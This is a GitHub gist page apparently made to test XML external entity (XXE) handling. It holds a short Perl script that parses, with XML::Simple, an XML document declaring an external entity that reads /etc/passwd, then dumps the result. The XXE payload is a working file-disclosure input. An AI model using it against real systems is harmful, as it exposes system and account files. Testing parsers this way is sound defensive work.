Skip to content

Instantly share code, notes, and snippets.

@nipotan

nipotan/gist:135043

Created June 24, 2009 06:11
Show Gist options
  • Save nipotan/135043 to your computer and use it in GitHub Desktop.
Save nipotan/135043 to your computer and use it in GitHub Desktop.
Download ZIP
XXE Test
Raw
gistfile1.pl
#!perl
use strict;
use XML::Simple;
use Data::Dumper;
my $ref = XMLin(<<'END');
<?xml version="1.0"?>
<!DOCTYPE str [
<!ENTITY pass SYSTEM "/etc/passwd">
]>
<str><data1>&pass;</data1><data2></data2></str>
END
warn Dumper $ref;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment